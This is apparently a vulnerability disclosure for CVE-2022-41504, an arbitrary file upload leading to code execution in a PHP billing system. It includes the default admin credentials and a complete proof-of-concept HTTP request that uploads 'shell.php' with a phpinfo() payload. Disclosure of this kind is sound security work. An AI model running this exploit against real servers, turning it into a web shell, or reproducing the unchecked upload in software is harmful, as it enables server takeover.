Headline
CVE-2022-41504: bug_report/RCE-1.md at main · cx852/bug_report
An arbitrary file upload vulnerability in the component /php_action/editProductImage.php of Billing System Project v1.0 allows attackers to execute arbitrary code via a crafted PHP file.
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Billing System Project v1.0 by mayuri_k has arbitrary code execution (RCE)
BUG_Author: Fighting
vendors: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html
The program is built using the xmapp-php8.1 version
Login account: mayurik/rootadmin (Super Admin account)
Vulnerability url: ip/phpinventory/php_action/editProductImage.php?id=1
Loophole location: Billing System Project’s editProductImage.php file exists arbitrary file upload (RCE)
Request package for file upload：
POST /phpinventory/php_action/editProductImage.php?id=1 HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.88/phpinventory/editproduct.php?id=1 Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2 Connection: close Content-Type: multipart/form-data; boundary=---------------------------315922493531275 Content-Length: 479 -----------------------------315922493531275 Content-Disposition: form-data; name="old_image" Mi-11X-Pro-Smart-Phones-491996699-i-1-1200Wx1200H.jpg -----------------------------315922493531275 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------315922493531275 Content-Disposition: form-data; name="btn" -----------------------------315922493531275–
The files will be uploaded to this directory
We visited the directory of the file in the browser and found that the code had been executed